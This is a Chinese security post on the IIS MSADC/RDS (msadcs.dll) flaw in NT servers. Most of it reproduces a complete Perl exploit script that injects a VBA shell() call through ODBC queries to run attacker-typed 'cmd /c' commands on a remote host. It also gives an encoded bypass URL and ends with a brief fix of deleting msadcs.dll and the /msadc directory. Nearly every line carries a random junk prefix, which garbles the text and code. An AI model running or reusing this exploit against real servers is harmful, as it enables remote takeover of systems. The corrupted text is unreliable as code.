IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iE$qq ~% _NQMi4 V( 涉及程序：
E}K6Op;=v5 Microsoft NT server
>[;+QVr; @ l: \0cO 描述：
L5/J
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LY b@0O<w r9<OB`)3+ 详细：
45e-A{G~ 如果你没有时间读详细内容的话，就删除:
n}(/>? / c:\Program Files\Common Files\System\Msadc\msadcs.dll
(055>D6 有关的安全问题就没有了。
<&:OSd:% v0)I rO 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7 sv
3=/` lB9 9J"A 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
5hwe ul>S 关于利用ODBC远程漏洞的描述，请参看:
pEf1[ zq vZ[w r@) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4Cs
|F7R aI]EwVz-q 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
{\3ZmF http://www.microsoft.com/security/bulletins/MS99-025faq.asp
bK:mt `
7}>7@ W8 这里不再论述。
`R@1 Sc<*| %fB]N 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^$-ID6 ` 6 a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
b_2b g>|; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
gE$D#PZa xi|T7,\X c :(Xk zj #将下面这段保存为txt文件，然后: "perl -x 文件名"
%O] ]La 53efF bo #!perl
#!= "b8F #
JB.f7- # MSADC/RDS 'usage' (aka exploit) script
Dy`;]-b6u #
/
i[F # by rain.forest.puppy
C;]}Ht:~I #
lezX-5Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tnL $v2e6q # beta test and find errors!
v4c*6(m [\eh$r\ use Socket; use Getopt::Std;
-I
dW-9~9 getopts("e:vd:h:XR", \%args);
Gf` `0F) '/l<\b/E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zf+jQ 4 #?Sxs if (!defined $args{h} && !defined $args{R}) {
MYyV{W*T> print qq~
\\w<.\Yh Usage: msadc.pl -h <host> { -d <delay> -X -v }
X@ ;;
h -h <host> = host you want to scan (ip or domain)
oPP`)b$x -d <seconds> = delay between calls, default 1 second
G`1!SEae -X = dump Index Server path table, if available
66ULR&D8 -v = verbose
PM ]|S` -e = external dictionary file for step 5
fCC^hB]' RLl*@SEi" Or a -R will resume a command session
*K}h
>b 1 Egy#_ RT{ ~; exit;}
B?A]0S )b AO A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xZbiEDU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@`" U D if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a}(xZ\n^D; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cV8Bl="gqe $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O^/z 7, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p1}umDb% rjk{9u1a" if (!defined $args{R}){ $ret = &has_msadc;
u*n%cXY;J/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;5S'?fj Q8d-yJs& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'0ks`a4q . "cmd /c ";
VY9o}J>,w $in=<STDIN>; chomp $in;
#Y |t,x; $command="cmd /c " . $in ;
K"fr4xHq +UvT;" if (defined $args{R}) {&load; exit;}
/:S&1 ' = 3`
,u^ w print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p;nRxi7' &try_btcustmr;
o'Rr2,lVi { N. J A= print "\nStep 2: Trying to make our own DSN...";
\ 3K %> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*z?Vy<u G P| U9f6^3 print "\nStep 3: Trying known DSNs...";
Xg <R+o &known_dsn;
7bk=D~/nSg N$&)gI:
print "\nStep 4: Trying known .mdbs...";
T( LlNq &known_mdb;
u7>{#] k`aHG8S\ if (defined $args{e}){
RX])#=Cs print "\nStep 5: Trying dictionary of DSN names...";
PvHX#wJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#!yW)RG ;q5.\m: print "Sorry Charley...maybe next time?\n";
gXy'@ ! exit;
_|^cudRv I
\Luw* : ##############################################################################
.I
h'& n^[VN[ VC sub sendraw { # ripped and modded from whisker
X}f u $2 sleep($delay); # it's a DoS on the server! At least on mine...
%p; 'l my ($pstr)=@_;
`J
l/@bE= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AQ) DiH die("Socket problems\n");
Pl/}`H: R& if(connect(S,pack "SnA4x8",2,80,$target)){
q0sdL86 select(S); $|=1;
;r j|> print $pstr; my @in=<S>;
W]B75 select(STDOUT); close(S);
=PM6:3aKh return @in;
_GW, 9s^A } else { die("Can't connect...\n"); }}
' lWgHmE #ULjK*)R ##############################################################################
$R&K-;D/8 v?O6|0#x sub make_header { # make the HTTP request
k`(Cwp{Oc my $msadc=<<EOT
Kry^ 47" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
L9} %tEP User-Agent: ACTIVEDATA
IIh \ d.o Host: $ip
Fo.p}j+> Content-Length: $clen
'nQQqx%v Connection: Keep-Alive
lnQfpa8j JmBe1"hs ADCClientVersion:01.06
^.g BHZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UlD]!5NO
I?R?rW --!ADM!ROX!YOUR!WORLD!
bnzIDsw!Q Content-Type: application/x-varg
!,Uzt1K: Content-Length: $reqlen
v\ <4y P O'.sK pXe EOT
"K )ue@? ; $msadc=~s/\n/\r\n/g;
JIOeDuw+ return $msadc;}
E{8-VmY Sv>bU4LHf ##############################################################################
B;Dl2k^L ~ q,Wj!>Ob sub make_req { # make the RDS request
Rm&4Pku my ($switch, $p1, $p2)=@_;
XF Cwa my $req=""; my $t1, $t2, $query, $dsn;
9%iv?/ o*L aGs\zCAP if ($switch==1){ # this is the btcustmr.mdb query
k [eWhdSw $query="Select * from Customers where City=" . make_shell();
>c30k pGg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;!:@3c $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q ]\GBRp Nc_Qd4<[@G elsif ($switch==2){ # this is general make table query
&6O0h0V y $query="create table AZZ (B int, C varchar(10))";
@Wl2E.)K; $dsn="$p1";}
D:=Q)Uh0I ^&!iq K2o elsif ($switch==3){ # this is general exploit table query
/ cC4K\M $query="select * from AZZ where C=" . make_shell();
H[J5A2b $dsn="$p1";}
., =\/ C< c2~oPUj elsif ($switch==4){ # attempt to hork file info from index server
[kKg?I$D@B $query="select path from scope()";
(yO8G-Z0 $dsn="Provider=MSIDXS;";}
'z$!9ufY, Aa!#=V1d elsif ($switch==5){ # bad query
.T*89cEu $query="select";
cM Z- $dsn="$p1";}
aS/ MlMf 8 S#TOeQ $t1= make_unicode($query);
S%IhpTSe6 $t2= make_unicode($dsn);
DP6>f zsl $req = "\x02\x00\x03\x00";
s $ZKd $req.= "\x08\x00" . pack ("S1", length($t1));
shuoEeoo $req.= "\x00\x00" . $t1 ;
r"$~Gg.%( $req.= "\x08\x00" . pack ("S1", length($t2));
kJNu2 S $req.= "\x00\x00" . $t2 ;
c.{t +OR $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j|w_B O 9 return $req;}
L
IN$Y \F8 :6- ##############################################################################
q c DJ :Oh*Q(> sub make_shell { # this makes the shell() statement
(X/dP ~ return "'|shell(\"$command\")|'";}
2*pNI c *}RV)0mif ##############################################################################
COFCa&m9c r 3FUddF' sub make_unicode { # quick little function to convert to unicode
B#, TdP]/ my ($in)=@_; my $out;
EY}*}- 3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CT[CM+ return $out;}
JWV n@)s |0$7{nQ ##############################################################################
`7
3I}%? JrGY`6##p sub rdo_success { # checks for RDO return success (this is kludge)
hOR1R B my (@in) = @_; my $base=content_start(@in);
xY@< < if($in[$base]=~/multipart\/mixed/){
J|@kF !6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ftRzgW); return 0;}
s0 /y> ok 2B[I-
K s ##############################################################################
'tJ@+(tqw vC%Hc/&.} sub make_dsn { # this makes a DSN for us
, r,$x4* my @drives=("c","d","e","f");
I!u fw \[ print "\nMaking DSN: ";
Psw<9[ foreach $drive (@drives) {
b0aV?A}th print "$drive: ";
(d Hil#l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i'MpS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4|/=]w . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c^8csQ fG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{O5(O oDa return 0 if $2 eq "404"; # not found/doesn't exist
c;doxNd6 if($2 eq "200") {
R=<uf:ca foreach $line (@results) {
G~{# %i return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
SGUZ'} } return 0;}
'"]QAj?N B
j z@X ##############################################################################
j% Wip j;c I9hZ&ed16 sub verify_exists {
m98w0D@Ee my ($page)=@_;
Z3N^)j8 my @results=sendraw("GET $page HTTP/1.0\n\n");
yv2wQ_({ return $results[0];}
Lem:zXj I`S?2i2H ##############################################################################
d#u*NwY} ]^v*2!_( sub try_btcustmr {
t$(<9 my @drives=("c","d","e","f");
QRz5eGpW my @dirs=("winnt","winnt35","winnt351","win","windows");
eK =v<X j!/=w q foreach $dir (@dirs) {
;bYLQ print "$dir -> "; # fun status so you can see progress
a=AP*adx8 foreach $drive (@drives) {
`c' R42S A print "$drive: "; # ditto
Qt"i $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9k3RC}dEr $reqlenlen=length( "$reqlen" );
\PM5B"MDZ $clen= 206 + $reqlenlen + $reqlen;
p&W{g $D> f!1 3Ob<8r my @results=sendraw(make_header() . make_req(1,$drive,$dir));
P*3PDa@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f;]C8/ W else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
j)Y68fKK ^wMZG'/ ##############################################################################
x2Dg9 2 B; r` 1
G sub odbc_error {
?7\$zn)v# my (@in)=@_; my $base;
Qkx}A7s K my $base = content_start(@in);
bxvpj if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>36>{b<'$* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IT f4PxF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FGu#Pa $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7qEc9S@ return $in[$base+4].$in[$base+5].$in[$base+6];}
df7 xpV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
oWV^o8& GH print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;[! W*8.c $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
?.6fVSa o>@9[F ,h+ ##############################################################################
U%l <48@8 RZTC+y lj sub verbose {
i1DJ0xC] my ($in)=@_;
A ?ij return if !$verbose;
\ 3F OI print STDOUT "\n$in\n";}
M1 _1(LSU P>qDQ1 ##############################################################################
6+W`:0 je 'WcP+4c sub save {
{ 7d\du&G my ($p1, $p2, $p3, $p4)=@_;
V[avV*;3i open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+uB.)wr print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}<mK79m close OUT;}
mecm,xwm 5sguv^ ;C5 ##############################################################################
^u$?& # 1wt(pkNk sub load {
>f-*D25f% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qTrb)95 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
1Gh3o}z @p=<IN>; close(IN);
f/ tJ>^N5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J:G ~ 9~V^ $target= inet_aton($ip) || die("inet_aton problems");
'-vzQ d@y print "Resuming to $ip ...";
<XH,kI(% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
u8Oo@xf0Fr if($p[1]==1) {
9t_N 9@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
zi= gOm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
$-"V
2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F.@U
X{J if (rdo_success(@results)){print "Success!\n";}
:{M1]0 NH else { print "failed\n"; verbose(odbc_error(@results));}}
"Is0:au+?} elsif ($p[1]==3){
S|/Za".Gr if(run_query("$p[3]")){
/=~o|-n8@ print "Success!\n";} else { print "failed\n"; }}
97M byEE8J elsif ($p[1]==4){
Iv51,0A if(run_query($drvst . "$p[3]")){
4=7h1qe x print "Success!\n"; } else { print "failed\n"; }}
F9 2et<y. exit;}
4NRG{FZ9 F8>J (7On ##############################################################################
K&UTs$_cI $ pfN0/`( sub create_table {
lWWy|r'il my ($in)=@_;
I9g!#lbl $reqlen=length( make_req(2,$in,"") ) - 28;
8 CCA}lOG $reqlenlen=length( "$reqlen" );
v)-:0 f $clen= 206 + $reqlenlen + $reqlen;
y4`uU1= my @results=sendraw(make_header() . make_req(2,$in,""));
)~ =g}& return 1 if rdo_success(@results);
N^xk.O_TO my $temp= odbc_error(@results); verbose($temp);
AlhPT ( return 1 if $temp=~/Table 'AZZ' already exists/;
~WX40z return 0;}
P=
nu&$; ^^{7`X
u ##############################################################################
* $v`5rP tP0!TkTo9 sub known_dsn {
hp!. P1b # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
e2vL UlL8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@V7 1%D8{ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
];hK5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
g"|Z1iy|9 , B||8W 9 foreach $dSn (@dsns) {
Fv2U@n6'v print ".";
I'a&n}j x next if (!is_access("DSN=$dSn"));
O+*<^*YyD if(create_table("DSN=$dSn")){
jb0LMl}/A print "$dSn successful\n";
RAi]9` *7 if(run_query("DSN=$dSn")){
w5R?9"d@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bZd )4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
:%kJ9zW &N\4/'wV ##############################################################################
6qq{Jb K : ?J0e4.] sub is_access {
,e!9WKJ
B my ($in)=@_;
{aVL3QU $reqlen=length( make_req(5,$in,"") ) - 28;
k!=
jO#)Rd $reqlenlen=length( "$reqlen" );
5#hsy;q;[ $clen= 206 + $reqlenlen + $reqlen;
iqTGh*k my @results=sendraw(make_header() . make_req(5,$in,""));
Z!SFJ{ my $temp= odbc_error(@results);
i5G"@4( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>gGdzL return 0;}
xa$p,_W:' 1 -:{&! ##############################################################################
'c&S%Ra[3G p!RyxB1.| sub run_query {
$hE,BeQ my ($in)=@_;
4}MZB*);0 $reqlen=length( make_req(3,$in,"") ) - 28;
2%gLq $reqlenlen=length( "$reqlen" );
<6 [P5> $clen= 206 + $reqlenlen + $reqlen;
?0VETa ~m my @results=sendraw(make_header() . make_req(3,$in,""));
~$:=h T1 return 1 if rdo_success(@results);
:iVEm9pB) my $temp= odbc_error(@results); verbose($temp);
R4q)FXW29 return 0;}
rIo)'L$uU ED=P
6u ##############################################################################
-9@/S$i Mr
u sub known_mdb {
8>l#F<@5 my @drives=("c","d","e","f","g");
jO +#$=C my @dirs=("winnt","winnt35","winnt351","win","windows");
wTK>U`o my $dir, $drive, $mdb;
{ ((|IvP` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
aFtL_#
U a?5R ; I B # this is sparse, because I don't know of many
}`*DMI;- my @sysmdbs=( "\\catroot\\icatalog.mdb",
("5Eed "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9&7 $oI$!J "\\system32\\certmdb.mdb",
hB 36o9|9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
J sc`^a%`' -]e@FNL my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[lbe_G; "\\cfusion\\cfapps\\forums\\forums_.mdb",
g@][h_? { "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
M<VZISu)dy "\\cfusion\\cfapps\\security\\realm_.mdb",
(J,^)!g7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,!'L~ { "\\cfusion\\database\\cfexamples.mdb",
iQj2aK Gs "\\cfusion\\database\\cfsnippets.mdb",
[ |E|(@J "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=!Ce#p?h, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
dP O|x+N, "\\cfusion\\brighttiger\\database\\cleam.mdb",
\ Cz uf "\\cfusion\\database\\smpolicy.mdb",
dlB?/J< "\\cfusion\\database\cypress.mdb",
(cLcY %$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kjOPsz*0 "\\website\\cgi-win\\dbsample.mdb",
p5PTuJ>q "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
PS3%V_2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?84B0K2N s ); #these are just
.GH#`j foreach $drive (@drives) {
R<FW?z* foreach $dir (@dirs){
+Oa+G.;)o4 foreach $mdb (@sysmdbs) {
NP< {WL# print ".";
/\C5`>x if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
? > 7SZiC` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
R<AT}!mkR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
6i.!C5YX] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+PGtO9}B } else { print "Something's borked. Use verbose next time\n"; }}}}}
3I%F,-r @ - _lw foreach $drive (@drives) {
A:5B6 Z foreach $mdb (@mdbs) {
#mvOhu print ".";
,[t>N>10TH if(create_table($drv . $drive . $dir . $mdb)){
v#WD$9QWs print "\n" . $drive . $dir . $mdb . " successful\n";
T>\ r}p if(run_query($drv . $drive . $dir . $mdb)){
iZbY@- 3fc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
P]wCC`qi } else { print "Something's borked. Use verbose next time\n"; }}}}
'v V |un(6 }
$`O%bsjX >y7|@'V[v0 ##############################################################################
DS]C`aM9 4kqgZtg. sub hork_idx {
;*=M I/"N print "\nAttempting to dump Index Server tables...\n";
wdzZ41y1 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Y ]-7T-*+t $reqlen=length( make_req(4,"","") ) - 28;
u#s b r8Y $reqlenlen=length( "$reqlen" );
b2p;-rv $clen= 206 + $reqlenlen + $reqlen;
>t Ll|O+ my @results=sendraw2(make_header() . make_req(4,"",""));
1e(Q I)
~ if (rdo_success(@results)){
0^ IHBN?9 my $max=@results; my $c; my %d;
1`z^Xk8vt for($c=19; $c<$max; $c++){
g Xi&
S $results[$c]=~s/\x00//g;
^KO=8m( )J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=n7 3bm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
etk@ j3# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0X'2d $d{"$1$2"}="";}
;\[ el<Y)s foreach $c (keys %d){ print "$c\n"; }
Ja(>!8H>@ } else {print "Index server doesn't seem to be installed.\n"; }}
[sF
z ;Py] vx&r ##############################################################################
@&
vtY._ 2^.qKY@g@ sub dsn_dict {
ZN]LJ4|xu open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Am&PH(}L while(<IN>){
1deNrmp % $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?}D|]i34 next if (!is_access("DSN=$dSn"));
1y)|m63& if(create_table("DSN=$dSn")){
}jWZqI qj print "$dSn successful\n";
S85}&\m&4 if(run_query("DSN=$dSn")){
dD{{G :V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]BiLLDz( print "Something's borked. Use verbose next time\n";}}}
map#4\ print "\n"; close(IN);}
= ^OXP+o j9X RC9
##############################################################################
eYD|`)-f<^ `3KXWN`.s sub sendraw2 { # ripped and modded from whisker
_T)G?iv:& sleep($delay); # it's a DoS on the server! At least on mine...
j4hiMI ; my ($pstr)=@_;
ds9L4zfO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/y~ "n4CK~ die("Socket problems\n");
)QO"1#zg@c if(connect(S,pack "SnA4x8",2,80,$target)){
3x U i n print "Connected. Getting data";
Mw,7+ open(OUT,">raw.out"); my @in;
t:?8I 9d select(S); $|=1; print $pstr;
gfW8s+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{Hp*BE
close(OUT); select(STDOUT); close(S); return @in;
A,4|UA?- } else { die("Can't connect...\n"); }}
{vL4 :K lm
1Mz ##############################################################################
o;D [ F tnCGa%M sub content_start { # this will take in the server headers
k25:H[ my (@in)=@_; my $c;
28N
v ' for ($c=1;$c<500;$c++) {
3TS(il9A if($in[$c] =~/^\x0d\x0a/){
" \]N OA* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
y>D vD) else { return $c+1; }}}
'Lb- +X, return -1;} # it should never get here actually
RO?%0-6O& zYW+Goz/C
##############################################################################
r6#It$NU |z`kFil% sub funky {
<,S5(pZ my (@in)=@_; my $error=odbc_error(@in);
~VqDh*0 if($error=~/ADO could not find the specified provider/){
wx,yx3c ( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`l0 &,] exit;}
OE=]/([ if($error=~/A Handler is required/){
D$wl.r print "\nServer has custom handler filters (they most likely are patched)\n";
$&!i3#FF exit;}
:XP/ `%: if($error=~/specified Handler has denied Access/){
M-Tjp'=* print "\nServer has custom handler filters (they most likely are patched)\n";
kkz{;OW
exit;}}
[-$ :XOO v[O }~E7' ##############################################################################
k{ru< cf F/ODV=J- sub has_msadc {
`q nNEJL, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
S1B^FLe7X my $base=content_start(@results);
x=%p~$C return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e/p 2| 4; return 0;}
0 F495'*A +mgmC_Q(0 ########################
BcfW94 { vf"`#Q9 `~hB-Z5dI 解决方案：
/7)l 22< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
L/U^1=Wi*O 2、移除web 目录: /msadc
